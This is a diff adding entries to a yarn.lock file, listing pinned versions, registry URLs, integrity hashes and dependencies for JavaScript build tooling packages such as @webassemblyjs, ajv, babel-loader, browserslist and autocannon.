+"@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz#6912b00d2c631c0d15ce1a7ab57cd657f2a8f8ba"
+  integrity sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25", "@jridgewell/trace-mapping@^0.3.28":
+  version "0.3.31"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz#db15d6781c931f3a251a3dac39501c98a6082fd0"
+  integrity sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@minimistjs/subarg@^1.0.0":
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/@minimistjs/subarg/-/subarg-1.0.0.tgz#484fdfebda9dc32087d7c7999ec6350684fb42d2"
+  integrity sha512-Q/ONBiM2zNeYUy0mVSO44mWWKYM3UHuEK43PKIOzJCbvUnPoMH1K+gk3cf1kgnCVJFlWmddahQQCmrmBGlk9jQ==
+  dependencies:
+    minimist "^1.1.0"
+
+"@types/eslint-scope@^3.7.7":
+  version "3.7.7"
+  resolved "https://registry.yarnpkg.com/@types/eslint-scope/-/eslint-scope-3.7.7.tgz#3108bd5f18b0cdb277c867b3dd449c9ed7079ac5"
+  integrity sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==
+  dependencies:
+    "@types/eslint" "*"
+    "@types/estree" "*"
+
+"@types/eslint@*":
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-9.6.1.tgz#d5795ad732ce81715f27f75da913004a56751584"
+  integrity sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/estree@*", "@types/estree@^1.0.8":
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.8.tgz#958b91c991b1867ced318bedea0e215ee050726e"
+  integrity sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==
+
+"@types/json-schema@*", "@types/json-schema@^7.0.15", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.9":
+  version "7.0.15"
+  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.15.tgz#596a1747233694d50f6ad8a7869fcb6f56cf5841"
+  integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
+
+"@types/node@*":
+  version "25.5.0"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-25.5.0.tgz#5c99f37c443d9ccc4985866913f1ed364217da31"
+  integrity sha512-jp2P3tQMSxWugkCUKLRPVUpGaL5MVFwF8RDuSRztfwgN1wmqJeMSbKlnEtQqU8UrhTmzEmZdu2I6v2dpp7XIxw==
+  dependencies:
+    undici-types "~7.18.0"
+
+"@webassemblyjs/ast@1.14.1", "@webassemblyjs/ast@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.14.1.tgz#a9f6a07f2b03c95c8d38c4536a1fdfb521ff55b6"
+  integrity sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==
+  dependencies:
+    "@webassemblyjs/helper-numbers" "1.13.2"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+
+"@webassemblyjs/floating-point-hex-parser@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz#fcca1eeddb1cc4e7b6eed4fc7956d6813b21b9fb"
+  integrity sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==
+
+"@webassemblyjs/helper-api-error@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz#e0a16152248bc38daee76dd7e21f15c5ef3ab1e7"
+  integrity sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==
+
+"@webassemblyjs/helper-buffer@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz#822a9bc603166531f7d5df84e67b5bf99b72b96b"
+  integrity sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==
+
+"@webassemblyjs/helper-numbers@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz#dbd932548e7119f4b8a7877fd5a8d20e63490b2d"
+  integrity sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==
+  dependencies:
+    "@webassemblyjs/floating-point-hex-parser" "1.13.2"
+    "@webassemblyjs/helper-api-error" "1.13.2"
+    "@xtuc/long" "4.2.2"
+
+"@webassemblyjs/helper-wasm-bytecode@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz#e556108758f448aae84c850e593ce18a0eb31e0b"
+  integrity sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==
+
+"@webassemblyjs/helper-wasm-section@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz#9629dda9c4430eab54b591053d6dc6f3ba050348"
+  integrity sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+
+"@webassemblyjs/ieee754@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz#1c5eaace1d606ada2c7fd7045ea9356c59ee0dba"
+  integrity sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==
+  dependencies:
+    "@xtuc/ieee754" "^1.2.0"
+
+"@webassemblyjs/leb128@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.13.2.tgz#57c5c3deb0105d02ce25fa3fd74f4ebc9fd0bbb0"
+  integrity sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==
+  dependencies:
+    "@xtuc/long" "4.2.2"
+
+"@webassemblyjs/utf8@1.13.2":
+  version "1.13.2"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.13.2.tgz#917a20e93f71ad5602966c2d685ae0c6c21f60f1"
+  integrity sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==
+
+"@webassemblyjs/wasm-edit@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz#ac6689f502219b59198ddec42dcd496b1004d597"
+  integrity sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/helper-wasm-section" "1.14.1"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+    "@webassemblyjs/wasm-opt" "1.14.1"
+    "@webassemblyjs/wasm-parser" "1.14.1"
+    "@webassemblyjs/wast-printer" "1.14.1"
+
+"@webassemblyjs/wasm-gen@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz#991e7f0c090cb0bb62bbac882076e3d219da9570"
+  integrity sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/ieee754" "1.13.2"
+    "@webassemblyjs/leb128" "1.13.2"
+    "@webassemblyjs/utf8" "1.13.2"
+
+"@webassemblyjs/wasm-opt@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz#e6f71ed7ccae46781c206017d3c14c50efa8106b"
+  integrity sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-buffer" "1.14.1"
+    "@webassemblyjs/wasm-gen" "1.14.1"
+    "@webassemblyjs/wasm-parser" "1.14.1"
+
+"@webassemblyjs/wasm-parser@1.14.1", "@webassemblyjs/wasm-parser@^1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz#b3e13f1893605ca78b52c68e54cf6a865f90b9fb"
+  integrity sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@webassemblyjs/helper-api-error" "1.13.2"
+    "@webassemblyjs/helper-wasm-bytecode" "1.13.2"
+    "@webassemblyjs/ieee754" "1.13.2"
+    "@webassemblyjs/leb128" "1.13.2"
+    "@webassemblyjs/utf8" "1.13.2"
+
+"@webassemblyjs/wast-printer@1.14.1":
+  version "1.14.1"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz#3bb3e9638a8ae5fdaf9610e7a06b4d9f9aa6fe07"
+  integrity sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==
+  dependencies:
+    "@webassemblyjs/ast" "1.14.1"
+    "@xtuc/long" "4.2.2"
+
+"@xtuc/ieee754@^1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@xtuc/ieee754/-/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790"
+  integrity sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==
+
+"@xtuc/long@4.2.2":
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/@xtuc/long/-/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d"
+  integrity sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==
+
+acorn-import-phases@^1.0.3:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/acorn-import-phases/-/acorn-import-phases-1.0.4.tgz#16eb850ba99a056cb7cbfe872ffb8972e18c8bd7"
+  integrity sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==
+
+acorn-loose@^8.3.0:
+  version "8.5.2"
+  resolved "https://registry.yarnpkg.com/acorn-loose/-/acorn-loose-8.5.2.tgz#a7cc7dfbb7c8f3c2e55b055db640dc657e278d26"
+  integrity sha512-PPvV6g8UGMGgjrMu+n/f9E/tCSkNQ2Y97eFvuVdJfG11+xdIeDcLyNdC8SHcrHbRqkfwLASdplyR6B6sKM1U4A==
+  dependencies:
+    acorn "^8.15.0"
+
+acorn@^8.15.0, acorn@^8.16.0:
+  version "8.16.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.16.0.tgz#4ce79c89be40afe7afe8f3adb902a1f1ce9ac08a"
+  integrity sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==
+
+ajv-formats@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/ajv-formats/-/ajv-formats-2.1.1.tgz#6e669400659eb74973bbf2e33327180a0996b520"
+  integrity sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==
+  dependencies:
+    ajv "^8.0.0"
+
+ajv-keywords@^3.5.2:
+  version "3.5.2"
+  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
+  integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==
+
+ajv-keywords@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz#69d4d385a4733cdbeab44964a1170a88f87f0e16"
+  integrity sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+
+ajv@^6.12.4:
+  version "6.14.0"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.14.0.tgz#fd067713e228210636ebb08c60bd3765d6dbe73a"
+  integrity sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ajv@^8.0.0, ajv@^8.9.0:
+  version "8.18.0"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.18.0.tgz#8864186b6738d003eb3a933172bb3833e10cefbc"
+  integrity sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    fast-uri "^3.0.1"
+    json-schema-traverse "^1.0.0"
+    require-from-string "^2.0.2"
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
+autocannon@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/autocannon/-/autocannon-8.0.0.tgz#72b3ade6ec63dca0dc3be157c873d0a27e3f3745"
+  integrity sha512-fMMcWc2JPFcUaqHeR6+PbmEpTxCrPZyBUM95oG4w3ngJ8NfBNas/ZXA+pTHXLqJ0UlFVTcy05GC25WxKx/M20A==
+  dependencies:
+    "@minimistjs/subarg" "^1.0.0"
+    chalk "^4.1.0"
+    char-spinner "^1.0.1"
+    cli-table3 "^0.6.0"
+    color-support "^1.1.1"
+    cross-argv "^2.0.0"
+    form-data "^4.0.0"
+    has-async-hooks "^1.0.0"
+    hdr-histogram-js "^3.0.0"
+    hdr-histogram-percentiles-obj "^3.0.0"
+    http-parser-js "^0.5.2"
+    hyperid "^3.0.0"
+    lodash.chunk "^4.2.0"
+    lodash.clonedeep "^4.5.0"
+    lodash.flatten "^4.4.0"
+    manage-path "^2.0.0"
+    on-net-listen "^1.1.1"
+    pretty-bytes "^5.4.1"
+    progress "^2.0.3"
+    reinterval "^1.1.0"
+    retimer "^3.0.0"
+    semver "^7.3.2"
+    timestring "^6.0.0"
+
+babel-loader@^8.2.3:
+  version "8.4.1"
+  resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.4.1.tgz#6ccb75c66e62c3b144e1c5f2eaec5b8f6c08c675"
+  integrity sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==
+  dependencies:
+    find-cache-dir "^3.3.1"
+    loader-utils "^2.0.4"
+    make-dir "^3.1.0"
+    schema-utils "^2.6.5"
+
+base64-js@^1.2.0, base64-js@^1.3.1:
+  version "1.5.1"
+  resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
+  integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
+
+baseline-browser-mapping@^2.9.0:
+  version "2.10.10"
+  resolved "https://registry.yarnpkg.com/baseline-browser-mapping/-/baseline-browser-mapping-2.10.10.tgz#e74bd066724c1d8d7d8ea75fc3be25389a7a5c56"
+  integrity sha512-sUoJ3IMxx4AyRqO4MLeHlnGDkyXRoUG0/AI9fjK+vS72ekpV0yWVY7O0BVjmBcRtkNcsAO2QDZ4tdKKGoI6YaQ==
+
+big.js@^5.2.2:
+  version "5.2.2"
+  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
+  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+
+browserslist@^4.24.0, browserslist@^4.28.1:
+  version "4.28.1"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.28.1.tgz#7f534594628c53c63101079e27e40de490456a95"
+  integrity sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==
+  dependencies:
+    baseline-browser-mapping "^2.9.0"
+    caniuse-lite "^1.0.30001759"
+    electron-to-chromium "^1.5.263"
+    node-releases "^2.0.27"
+    update-browserslist-db "^1.2.0"
+
+buffer-from@^1.0.0:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5"
+  integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
+
+buffer@^5.2.1:
+  version "5.7.1"
+  resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
+  integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
+  dependencies:
+    base64-js "^1.3.1"
+    ieee754 "^1.1.13"
+
+call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
+  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+caniuse-lite@^1.0.30001759:
+  version "1.0.30001781"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001781.tgz#344b47c03eb8168b79c3c158b872bcfbdd02a400"
+  integrity sha512-RdwNCyMsNBftLjW6w01z8bKEvT6e/5tpPVEgtn22TiLGlstHOVecsX2KHFkD5e/vRnIE4EGzpuIODb3mtswtkw==
+
+chalk@^4.1.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+char-spinner@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/char-spinner/-/char-spinner-1.0.1.tgz#e6ea67bd247e107112983b7ab0479ed362800081"
+  integrity sha512-acv43vqJ0+N0rD+Uw3pDHSxP30FHrywu2NO6/wBaHChJIizpDeBUd6NjqhNhy9LGaEAhZAXn46QzmlAvIWd16g==
+
+chrome-trace-event@^1.0.2:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz#05bffd7ff928465093314708c93bdfa9bd1f0f5b"
+  integrity sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==
+
+cli-table3@^0.6.0:
+  version "0.6.5"
+  resolved "https://registry.yarnpkg.com/cli-table3/-/cli-table3-0.6.5.tgz#013b91351762739c16a9567c21a04632e449bf2f"
+  integrity sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==
+  dependencies:
+    string-width "^4.2.0"
+  optionalDependencies:
+    "@colors/colors" "1.5.0"
+
+clone-deep@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387"
+  integrity sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==
+  dependencies:
+    is-plain-object "^2.0.4"
+    kind-of "^6.0.2"
+    shallow-clone "^3.0.0"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+color-support@^1.1.1:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2"
+  integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==
+
+combined-stream@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
+commander@^2.20.0:
+  version "2.20.3"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
+  integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
+
+commondir@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
+  integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==
+
+convert-source-map@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-2.0.0.tgz#4b560f649fc4e918dd0ab75cf4961e8bc882d82a"
+  integrity sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==
+
+cross-argv@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/cross-argv/-/cross-argv-2.0.0.tgz#2e7907ba3246f82c967623a3e8525925bbd6c0ad"
+  integrity sha512-YIaY9TR5Nxeb8SMdtrU8asWVM4jqJDNDYlKV21LxtYcfNJhp1kEsgSa6qXwXgzN0WQWGODps0+TlGp2xQSHwOg==
+
+debug@^4.1.0, debug@^4.3.1:
+  version "4.4.3"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.3.tgz#c6ae432d9bd9662582fce08709b038c58e9e3d6a"
+  integrity sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==
+  dependencies:
+    ms "^2.1.3"
+
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
+dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
